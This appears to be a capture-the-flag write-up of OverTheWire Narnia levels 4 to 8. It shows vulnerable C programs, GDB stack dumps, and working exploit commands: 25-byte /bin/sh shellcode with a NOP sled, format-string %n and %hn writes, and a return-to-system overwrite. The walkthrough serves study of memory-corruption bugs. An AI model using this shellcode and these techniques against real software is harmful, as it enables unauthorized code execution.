0xffffd8b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8f0:     0x41414141      0x41414141      0x41414141      0x00414141
0xffffd900:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd910:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd920:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd930:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd940:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd950:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd960:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd970:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd980:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd990:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd9f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda00:     0x00000000      0x00000000

So for this buffer overflow vulnerability I have 272 bytes for my payload with the last 4 bytes to make the total payload length of 276 for my RET address. Looking in the above debugging of the stack of the binary file I can see the payload is sitting between the memory address range of “0xffffd7dc-0xffffd8fc”, I chose the location of “0xffffd810” as my RET address as it was close to the start of my buffer that I sent.

root@Phlegethon:~/Study/overthewire/narnia# python -c'print(len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"))'
25

So next I just used python to create my buffer string with the first 247 bytes of the buffer will by my NOP sled and then my 25 byte shellcode and then the 4 byte RET address which will overwrite the EIP register and jump into my NOP sled of my buffer.

narnia4@melinda:~$ /games/narnia/narnia4 $(python -c'print "\x90"*247 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x10\xd8\xff\xff"')
$ cat /etc/narnia_pass/narnia5
**********

Level 5

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char **argv){
        int i = 1;
        char buffer[64];
 
        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");
 
        if(i==500){
                printf("GOOD\n");
                system("/bin/sh");
        }
 
        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

The challenge for this level is to change the integer “i” from 1 to 500, if so we get the shell. The snprintf() appears to be the vulnerable function in this challenge, which would mean that it is a format string vulnerability challenge. Having a look at the reference for the function, http://www.cplusplus.com/reference/cstdio/snprintf/, we can see that no format parameter was included verifying the suspicious of the snprintf(). Another thing to note before continuing on is that the maximum size for our input for this challenge is 64 characters, if we include input of over 64 bytes in size as the argument passed to the binary, we will cause a Segmentation fault error. With this all worked out let’s begin working on a solution.

narnia5@melinda:/narnia$ ./narnia5 AAAA%x%x%x%x%x%x%x%x%x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAf7e5efc380482610ca00001ffffd8f42fffffd73c41414141] (53)
i = 1 (0xffffd72c)

So I found that after a 4 byte string followed by 9 (%x)’s I was able to see the 4 bytes on stack, the %x format specifier is used to read bytes off the stack. The next step I took was to execute the binary inside of GDB, to begin with I disassembled the main function and put a breakpoint on the snprintf() and then ran the same input as before.

narnia5@melinda:/narnia$ gdb -q ./narnia5
Reading symbols from /games/narnia/narnia5...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048444 <+0>:     push   %ebp
   0x08048445 <+1>:     mov    %esp,%ebp
   0x08048447 <+3>:     push   %edi
   0x08048448 <+4>:     and    $0xfffffff0,%esp
   0x0804844b <+7>:     sub    $0x70,%esp
   0x0804844e <+10>:    movl   $0x1,0x6c(%esp)
   0x08048456 <+18>:    mov    0xc(%ebp),%eax
   0x08048459 <+21>:    add    $0x4,%eax
   0x0804845c <+24>:    mov    (%eax),%eax
   0x0804845e <+26>:    mov    %eax,0x8(%esp)
   0x08048462 <+30>:    movl   $0x40,0x4(%esp)
   0x0804846a <+38>:    lea    0x2c(%esp),%eax
   0x0804846e <+42>:    mov    %eax,(%esp)
   0x08048471 <+45>:    call   0x8048380 <snprintf@plt>     // Argument input
   0x08048476 <+50>:    movb   $0x0,0x6b(%esp)
   0x0804847b <+55>:    mov    $0x80485f0,%eax
   0x08048480 <+60>:    mov    %eax,(%esp)
   0x08048483 <+63>:    call   0x8048330 <printf@plt>
   0x08048488 <+68>:    mov    0x6c(%esp),%eax
   0x0804848c <+72>:    cmp    $0x1f4,%eax                    // Compare (cmp) instruction to check the %eax register's value against 0x1fa (500).
   0x08048491 <+77>:    jne    0x80484ab <main+103>         // If the values aren't equal then the JNE (Jump Not Equal) instruction is taken.
   0x08048493 <+79>:    movl   $0x8048611,(%esp)
   0x0804849a <+86>:    call   0x8048340 <puts@plt>
   0x0804849f <+91>:    movl   $0x8048616,(%esp)
   0x080484a6 <+98>:    call   0x8048350 <system@plt>
   0x080484ab <+103>:   movl   $0x8048620,(%esp)          // The JNE instruction jumps to this location.
   0x080484b2 <+110>:   call   0x8048340 <puts@plt>
   0x080484b7 <+115>:   lea    0x2c(%esp),%eax
   0x080484bb <+119>:   movl   $0xffffffff,0x1c(%esp)
   0x080484c3 <+127>:   mov    %eax,%edx
   0x080484c5 <+129>:   mov    $0x0,%eax
   0x080484ca <+134>:   mov    0x1c(%esp),%ecx
   0x080484ce <+138>:   mov    %edx,%edi
   0x080484d0 <+140>:   repnz scas %es:(%edi),%al
   0x080484d2 <+142>:   mov    %ecx,%eax
   0x080484d4 <+144>:   not    %eax
   0x080484d6 <+146>:   lea    -0x1(%eax),%edx
   0x080484d9 <+149>:   mov    $0x8048641,%eax
   0x080484de <+154>:   mov    %edx,0x8(%esp)
   0x080484e2 <+158>:   lea    0x2c(%esp),%edx
   0x080484e6 <+162>:   mov    %edx,0x4(%esp)
   0x080484ea <+166>:   mov    %eax,(%esp)
   0x080484ed <+169>:   call   0x8048330 <printf@plt>
   0x080484f2 <+174>:   mov    0x6c(%esp),%edx
   0x080484f6 <+178>:   mov    $0x8048655,%eax
   0x080484fb <+183>:   lea    0x6c(%esp),%ecx
   0x080484ff <+187>:   mov    %ecx,0x8(%esp)
   0x08048503 <+191>:   mov    %edx,0x4(%esp)
   0x08048507 <+195>:   mov    %eax,(%esp)
   0x0804850a <+198>:   call   0x8048330 <printf@plt>
   0x0804850f <+203>:   mov    $0x0,%eax
   0x08048514 <+208>:   mov    -0x4(%ebp),%edi
   0x08048517 <+211>:   leave
   0x08048518 <+212>:   ret
End of assembler dump.
(gdb) br *0x08048471
Breakpoint 1 at 0x8048471
(gdb) r AAAA%x%x%x%x%x%x%x%x%x
Starting program: /games/narnia/narnia5 AAAA%x%x%x%x%x%x%x%x%x
 
Breakpoint 1, 0x08048471 in main ()
(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8f0      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8da      0x0000002f      0xffffd71c      0xf7fceff4
0xffffd6d0:     0x08048520      0x08049840      0x00000002      0x08048319
0xffffd6e0:     0xf7fcf3e4      0x00008000      0x08049840      0x08048541
0xffffd6f0:     0xffffffff      0xf7e5f116      0xf7fceff4      0xf7e5f1a5
0xffffd700:     0xf7feb660      0x00000000      0x08048529      0x00000001
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x4e48b022      0x794e1432      0x00000000
0xffffd760:     0x00000000      0x00000000
(gdb) ni
0x08048476 in main ()
(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8f0      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8da      0x0000002f      0xffffd71c      0x41414141 <- The 4 A's
0xffffd6d0:     0x35653766      0x33636665      0x38343038      0x30313632
0xffffd6e0:     0x30306163      0x66313030      0x64666666      0x32616438
0xffffd6f0:     0x66666666      0x31376466      0x34313463      0x34313431
0xffffd700:     0xf7fe0031      0x00000000      0x08048529      0x00000001
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x4e48b022      0x794e1432      0x00000000
0xffffd760:     0x00000000      0x00000000

After a moments thought it occurred to me that the 4 “\x41” were placed onto the stack at 0xffffd6cc, but the “1” value for the i integer is at 0xffffd70c.

(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8ee      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8d8      0x0000002f      0xffffd71c      0x41414141 <- The 4 A's
0xffffd6d0:     0x35653766      0x33636665      0x38343038      0x30313632
0xffffd6e0:     0x30306163      0x66313030      0x64666666      0x32386438
0xffffd6f0:     0x66666666      0x31376466      0x34313463      0x34313431
0xffffd700:     0xf7fe0031      0x00000000      0x08048529      0x00000001 <- the value for i
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x1a239250      0x2d253640      0x00000000
0xffffd760:     0x00000000      0x00000000
(gdb) c
Continuing.
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAf7e5efc380482610ca00001ffffd8d82fffffd71c41414141] (53)
i = 1 (0xffffd70c)
[Inferior 1 (process 6017) exited normally]

This because of this, I need to work out how I can write to the stack is a specific location (0xffffd70c), so I started trying to use a similar method the one I used to solve level 9 of the SmashTheStack IO series of challenges. However this didn’t work out for me, a month of so after my last attempt to solve this challenge I was contacted by hakan, who helped me onto the right path needed to solve this challenge.

He pointed out that if 9 “%x” allows me to read the first 4 bytes back off the stack, 8 would allow me to write to the stack. This meant if I replaced one of the “%x” for a “%n” I would be able to change the value of i. This also meant I need to change the 4 “A”s to the memory address of where i is located.

narnia5@melinda:/narnia$ gdb -q ./narnia5
Reading symbols from /games/narnia/narnia5...(no debugging symbols found)...done.
(gdb) br *0x08048471
Breakpoint 1 at 0x8048471
(gdb) br *0x0804848c
Breakpoint 2 at 0x804848c
(gdb) r $(python -c 'print "\x0c\xd7\xff\xff"')%x%x%x%x%x%x%x%x%n
Starting program: /games/narnia/narnia5 $(python -c 'print "\x0c\xd7\xff\xff"')%x%x%x%x%x%x%x%x%n
 
Breakpoint 1, 0x08048471 in main ()
(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8f0      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8da      0x0000002f      0xffffd71c      0xf7fceff4
0xffffd6d0:     0x08048520      0x08049840      0x00000002      0x08048319
0xffffd6e0:     0xf7fcf3e4      0x00008000      0x08049840      0x08048541
0xffffd6f0:     0xffffffff      0xf7e5f116      0xf7fceff4      0xf7e5f1a5
0xffffd700:     0xf7feb660      0x00000000      0x08048529      0x00000001  <- Before the snprintf() is called
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x9af939a3      0xadff9db3      0x00000000
0xffffd760:     0x00000000      0x00000000
(gdb) ni
0x08048476 in main ()
(gdb) x/50wx $esp
0xffffd6a0:     0xffffd6cc      0x00000040      0xffffd8f0      0xf7e5efc3
0xffffd6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xffffd6c0:     0xffffd8da      0x0000002f      0xffffd71c      0xffffd70c
0xffffd6d0:     0x35653766      0x33636665      0x38343038      0x30313632
0xffffd6e0:     0x30306163      0x66313030      0x64666666      0x32616438
0xffffd6f0:     0x66666666      0x31376466      0xf7fc0063      0xf7e5f1a5
0xffffd700:     0xf7feb660      0x00000000      0x08048529      0x0000002d  <- After the snprintf() is called
0xffffd710:     0x08048520      0x00000000      0x00000000      0xf7e454b3
0xffffd720:     0x00000002      0xffffd7b4      0xffffd7c0      0xf7fd3000
0xffffd730:     0x00000000      0xffffd71c      0xffffd7c0      0x00000000
0xffffd740:     0x0804822c      0xf7fceff4      0x00000000      0x00000000
0xffffd750:     0x00000000      0x9af939a3      0xadff9db3      0x00000000
0xffffd760:     0x00000000      0x00000000
(gdb) c
Continuing.
 
Breakpoint 2, 0x0804848c in main ()
(gdb) c
Continuing.
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [
×ÿÿf7e5efc380482610ca00001ffffd8da2fffffd71c] (45)
i = 45 (0xffffd70c)
[Inferior 1 (process 30980) exited normally]
(gdb)

As you can see in the above output from GDB before and after the snprintf() is called, in the output after the call is made you can see that the value has been changed from a 0x01 to 0x2D (55). In previous outputs of viewing the ESP register in GDB, we can verify that this is because of the new argument passed to the binary that was used.

NOTE: Notice how $(python -c ‘print "\x0c\xd7\xff\xff"‘) in the argument followed by “%x%x%x%x%x%x%x%x%n”. This is because we want to write the memory location as the first 4 bytes of the argument but if we pass the memory location to the binary as “\x0c\xd7\xff\xff” it would not understand this is 4 bytes and we would cause the application to crash as we would exceed the input buffer size.

So we are now able to modify the value of i from 1 to 45, but we need to change i to 500. So if we specify the value to write to the memory location by replacing the last “%x” again with value to write we can control the value written to i.

narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff"')%x%x%x%x%x%x%x%500u%n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [,×ÿÿf7e5efc380482610ca00001ffffd8f12f                          ] (63)
i = 537 (0xffffd72c)

And so the final part is to do 500-37 to work out the correct value to write.

narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff"')%x%x%x%x%x%x%x%463u%n
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
**********

I would like to thank hakan for getting me back onto the correct path for solving this challenge.

Level 6

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
extern char **environ;
 
int main(int argc, char *argv[]){
    char b1[8], b2[8];
    int  (*fp)(char *)=(int(*)(char *))&puts, i;
 
    if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
 
    /* clear environ */
    for(i=0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));
    /* clear argz    */
    for(i=3; argv[i] != NULL; i++)
        memset(argv[i], '\0', strlen(argv[i]));
 
    strcpy(b1,argv[1]);
    strcpy(b2,argv[2]);
    if(((unsigned long)fp & 0xff000000) == 0xff000000)
        exit(-1);
    fp(b1);
 
    exit(1);
}

This was an interesting challenge, we have can see that there are two buffers, b1 and b2, which are both defined at 8 bytes in size. What causes this to be interesting is the fact two arguements are respectively entered into the buffers using the strcpy() function. The strcpy() is a function known for causing potential buffer overflows in programs and have been the focus of vulnerabilities in previous challenges. Let’s see if we can cause a crash in the application.

(gdb) r $(python -c'print("A"*8)') $(python -c'print("B"*8)')
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8)') $(python -c'print("B"*8)')
 
Program received signal SIGSEGV, Segmentation fault.
0x08048304 in ?? ()
(gdb) x/50wx $esp
0xffffd6bc:     0x08048647      0xffffd6f0      0xffffd8fc      0x00000021
0xffffd6cc:     0x08048399      0xf7fcf3e4      0x00008000      0x08049910
0xffffd6dc:     0xffffffff      0xffffffff      0xf7e5f116      0x42424242
0xffffd6ec:     0x42424242      0x41414100      0x41414141      0x08048300 <- Gain control of EIP register here.
0xffffd6fc:     0x00000003 <-   0x08048660      0x00000000      0x00000000 -- The point the application crashes.
0xffffd70c:     0xf7e454b3      0x00000003      0xffffd7a4      0xffffd7b4
0xffffd71c:     0xf7fd3000      0x00000000      0xffffd71c      0xffffd7b4
0xffffd72c:     0x00000000      0x08048280      0xf7fceff4      0x00000000
0xffffd73c:     0x00000000      0x00000000      0x69ae1f2f      0x5ea8db3f
0xffffd74c:     0x00000000      0x00000000      0x00000000      0x00000003
0xffffd75c:     0x08048420      0x00000000      0xf7ff0a90      0xf7e453c9
0xffffd76c:     0xf7ffcff4      0x00000003      0x08048420      0x00000000
0xffffd77c:     0x08048441      0x080484d4

When I ran the application with the 2 arguements passed to the application of both 8 bytes in length caused a crash an application. In the above output from GDB I have pointed at the positions which the EIP register is overwritten and control is of execution can be gained. The next step I took was to confirm that I could overwrite the position on the stack would allow me to gain control of the EIP register.

(gdb) r $(python -c'print("A"*8 + "B"*4 + "C"*4)') $(python -c'print("D"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "B"*4 + "C"*4)') $(python -c'print("D"*8)')
 
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/50wx $esp
0xffffd6bc:     0x08048647      0xffffd6f0      0xffffd8fc      0x00000021
0xffffd6cc:     0x08048399      0xf7fcf3e4      0x00008000      0x08049910
0xffffd6dc:     0xffffffff      0xffffffff      0xf7e5f116      0x44444444
0xffffd6ec:     0x44444444      0x41414100      0x41414141      0x42424242 <- 4 Bytes that overwrite the EIP register
0xffffd6fc:     0x43434343      0x08048600      0x00000000      0x00000000
0xffffd70c:     0xf7e454b3      0x00000003      0xffffd7a4      0xffffd7b4
0xffffd71c:     0xf7fd3000      0x00000000      0xffffd71c      0xffffd7b4
0xffffd72c:     0x00000000      0x08048280      0xf7fceff4      0x00000000
0xffffd73c:     0x00000000      0x00000000      0x2362dbf1      0x14641fe1
0xffffd74c:     0x00000000      0x00000000      0x00000000      0x00000003
0xffffd75c:     0x08048420      0x00000000      0xf7ff0a90      0xf7e453c9
0xffffd76c:     0xf7ffcff4      0x00000003      0x08048420      0x00000000
0xffffd77c:     0x08048441      0x080484d4

It was successfully confirmed that I could overwrite the EIP register. Now the question was how could I actually gain a shell for the next level. With control of the EIP register, I began thinking of how to gain full control. I couldn’t use placing the shellcode into an environment variable and then just overwritting the EIP register with the hardcoded location of the start of my shell. This was because part of the code has been written to clear the system’s environmental variables, just like in the Narnia 4 challenge. So because of this I also figured maybe the solution I used in Narnia 4 could be the solution for this level as well, where I pass the shellcode to the application as part of the arguement. So I decided I should test this theory out.

(gdb) r $(python -c'print("A"*8 + "\x90"*8 + "B"*4)') $(python -c'print("D"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "\x90"*8 + "B"*4)') $(python -c'print("D"*8)')
 
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb) x/50wx $esp
0xffffd6bc:     0x08048647      0xffffd6f0      0xffffd8fc      0x00000021
0xffffd6cc:     0x08048399      0xf7fcf3e4      0x00008000      0x08049910
0xffffd6dc:     0xffffffff      0xffffffff      0xf7e5f116      0x44444444
0xffffd6ec:     0x44444444      0x41414100      0x41414141      0x90909090
0xffffd6fc:     0x90909090      0x42424242      0x00000000      0x00000000
0xffffd70c:     0xf7e454b3      0x00000003      0xffffd7a4      0xffffd7b4
0xffffd71c:     0xf7fd3000      0x00000000      0xffffd71c      0xffffd7b4
0xffffd72c:     0x00000000      0x08048280      0xf7fceff4      0x00000000
0xffffd73c:     0x00000000      0x00000000      0x58c634fc      0x6fc0f0ec
0xffffd74c:     0x00000000      0x00000000      0x00000000      0x00000003
0xffffd75c:     0x08048420      0x00000000      0xf7ff0a90      0xf7e453c9
0xffffd76c:     0xf7ffcff4      0x00000003      0x08048420      0x00000000
0xffffd77c:     0x08048441      0x080484d4
(gdb) r $(python -c'print("A"*8 + "\xfc\xd6\xff\xff" + "\x90"*4)') $(python -c'print("D"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "\xfc\xd6\xff\xff" + "\x90"*4)') $(python -c'print("D"*8)')
[Inferior 1 (process 3033) exited with code 0377]

So I can’t place my shellcode as part of the arguement but it appears I have to have a valid memory address overwrite the EIP register. So at this point in time I decided I needed to try and find a way to get a command (/bin/sh) that I pass to the application to be executed, and then I realised the stdlib.h is included in the binary. This is useful to us because after the binary begins to execute the system() function is loaded, since it is part of the stdlib.h.

http://www.cplusplus.com/reference/cstdlib/system/

So to find out the memory location of the system() function, I decided the quickest way would to debug the binary with GDB and placing a breakpoint on the main function and run the application. As soon as the breakpoint on main() is hit, the stdlib.h would’ve been loaded which means I would be able to put a breakpoint on the system() function and identify the memory address that way.

narnia6@melinda:/narnia$ gdb -q ./narnia6
Reading symbols from /games/narnia/narnia6...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x80484d8
(gdb) r a b
Starting program: /games/narnia/narnia6 a b
 
Breakpoint 1, 0x080484d8 in main ()
(gdb) break system
Breakpoint 2 at 0xf7e6b250
(gdb) r $(python -c'print("A"*8 + "\x50\xb2\xe6\xf7")') $(python -c'print("B"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "\x50\xb2\xe6\xf7")') $(python -c'print("B"*8)')
 
Breakpoint 1, 0x080484d8 in main ()
(gdb) c
Continuing.
 
Breakpoint 2, 0xf7e6b250 in system () from /lib32/libc.so.6

As you can see in the above GDB debugging output, I was able to identify that the system() function is located in memory at 0xf7e6b250 and I was able to jump to gain control of the application and jump to that location as well. And with that all confirmed, we just need to add the command to be executed to the arguement strings and pass it to the binary.

narnia6@melinda:/narnia$ ./narnia6 $(python -c'print("A"*8 + "\x50\xb2\xe6\xf7")') $(python -c'print("B"*8 + "/bin/sh")')
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
**********

Level 7

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
int goodfunction();
int hackedfunction();
 
int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();
 
        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);
 
        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
 
        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;
 
        snprintf(buffer, sizeof buffer, format);
 
        return ptrf();
}
 
int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}
 
int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);
 
        return 0;
}
 
int hackedfunction(){
        printf("Way to go!!!!");
        fflush(stdout);
        system("/bin/sh");
 
        return 0;
}

Briefly looking through the functions used in the above code, we can see that the snprintf() function is used again without format parameters. Which means this is another format string vulnerability challenge. After identifying what kind of challenge this would be, I started reading the entire code as a whole.

We can see in the main() an IF statement is used to the user they have to give 1 or more arguements to the binary, if the user doesn’t the application will close. If the user passes 1 or more arguements to the binary, the first arguement entered is passed to the vuln() function.

The vuln() creates a buffer of 128 bytes called buffer, also declares a function called “ptrf” which performs wildcard subsituation two previously declared functions (goodfunction()/hackedfunction()). Next in the vuln(), the buffer is filled with 0’s. Afterwards two printf() functions are used to print the location in memory of two functions (goodfunction()/hackedfunction()). Next the ptrf is set to equal goodfunction and then the current memory location of the ptrf() is printed to the screen. A message is printed to the screen and the program waits 2 seconds and then sets goodfunction() to equal ptrf again. The snprintf() is used to print the contents of the buffer. And finally the program returns to where ptrf() is pointing to, which at the current time would be goodfunction().

(gdb) r A
Starting program: /games/narnia/narnia7 A
goodfunction() = 0x804866f
hackedfunction() = 0x8048695
 
before : ptrf() = 0x804866f (0xffffd67c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
[Inferior 1 (process 4592) exited normally]

Obviously this challenge is overwrite the goodfunction() memory address in ptrf() with the memory location relevant to the hackedfunction(). This challenge actually gives us all the information we need to complete this challenge without us having to go looking for it. The information we need is the following:

  • The memory address of the ptrf() function that calls the other functions we have to overwrite (0xffffd67c).
  • The memory address of the function going to be called by the ptrf() (0x804866f).
  • And the memory address of the function we need to overwrite to (0x8048695).

This challenge is similar to the level 9 IO Smash The Stack challenge, in which the goal was to overwrite a memory address with a memory address which would lead to the shellcode for the exploit. But unlike that challenge, we can’t use the DTOR method. This left me scratching my head, but then I decided to have a look at the books in my library and pulled out two books which covered format string vulnerabilities.

In the book, Gray Hat Hacking, The Ethical Hacker’s Handbook. 3rd Ed., in chapter 12 there is a section for “Writing to Arbitary Memory” in format string vulnerabilities. Reading this section, it states that the easiest way to write 4 bytes into memory is to split it into two equal parts, and use the parameters #$ and %hn into the right place in memory. This means I need to split the hackedfunction() memory address into the two haves.

  • Two high-order bytes (HOB): 0x0804
  • Two low-order bytes (LOB): 0x8695

This book provides a table (table 12-2) which contains the formula to construct the string to overwrite the memory address. Based on the calculations done using the table I was able to proceduce the following string. If you don’t have access to the book, I’m sure you would be able to find a copy to reference. But if you don’t, I’ve included part of the reference table which I used for this challenge.

When HOB < LOB
[addr + 2][addr]
%.[HOB - 8]x
%[offset]$hn
%.[LOB - HOB]x
%[offset + 1]$hn

The below section is the results from the calculation.

[addr + 2][addr]    =       \x7e\xd6\xff\xff\x7c\xd6\xff\xff
%.[HOB - 8]x        =       0x0804 - 8 = 7FC (2044) = %.2044x
%[offset]$hn        =       %6\$hn
%.[LOB - HOB]x      =       0x8695 - 0804 = 7E91 (32401) = %.32401x
%[offset + 1]$hn    =       %7\$hn

Thus the final string sent to the challenge would be.

$(python -c'print("\x7e\xd6\xff\xff\x7c\xd6\xff\xff")')%.2044x%6\$hn%.32401x%7\$hn
narnia7@melinda:/narnia$ ./narnia7 $(python -c'print("\x7e\xd6\xff\xff\x7c\xd6\xff\xff")')%.2044x%6\$hn%.32401x%7\$hn
goodfunction() = 0x804866f
hackedfunction() = 0x8048695
 
before : ptrf() = 0x804866f (0xffffd67c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ whoami
narnia8
$ cat /etc/narnia_pass/narnia8
**********

References

  • Gray Hat Hacking, The Ethical Hacker’s Handbook. 3rd Ed.
  • Hacking, The Art of Exploitation. 2nd Ed.

Level 8

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;
 
void func(char *b){
        char *blah=b;
        char bok[20];
        //int i=0;
 
        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];
 
        printf("%s\n",bok);
}
 
int main(int argc, char **argv){
 
        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);
 
        return 0;
}

With this challenge, we can see that the main() looks for a single argument to be passed to binary and if the user inputs nothing a message would be displayed informing of correct usage. When the user passes 1 more arguments to the binary, the first argument is passed to a custom function called func(). In the func(), we can see at the start a local variable called blah as well as a char array of 20 bytes named bok are declared. The local variable blah is also the address of b. The memset() is used to zero-out the memory in the bok array. Finally a For loop is used to write the contents of blah into the array of bok, but since there isn’t any size retriction on blah, there is a potential overflow here.

narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("A"*19)')
AAAAAAAAAAAAAAAAAAA
narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("A"*20)')
AAAAAAAAAAAAAAAAAAAAÿØÿÿÿÿÿÿñå÷8×ÿÿØÿÿ
(gdb) r $(python -c'print "\x41"*20')
Starting program: /games/narnia/narnia8 $(python -c'print "\x41"*20')
 
Breakpoint 1, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd670:     0x08048580      0xffffd688      0x00000014      0xf7fceff4
0xffffd680:     0x080484b0      0x08049794      0x41414141 <--  0x41414141 - 0xffffd688 - the start of the user supplied data
0xffffd690:     0x41414141      0x41414141      0x41414141 <--  0xffffd8b4 <--    - 0xffffd69b - the end of the user supplied data
                                                                                - 0xffffd69c - Points to the memory address of blah
0xffffd6a0:     0xffffffff      0xf7e5f116      0xffffd6c8      0x0804848d <-- RET address back to the main() [main+31]
0xffffd6b0:     0xffffd8b4 <--  0x00000000      0x080484b9      0xf7fceff4 - 0xffffd69c - Points to the memory address of blah
-- omitted output --
0xffffd8a0:     0x73656d61      0x72616e2f      0x2f61696e      0x6e72616e
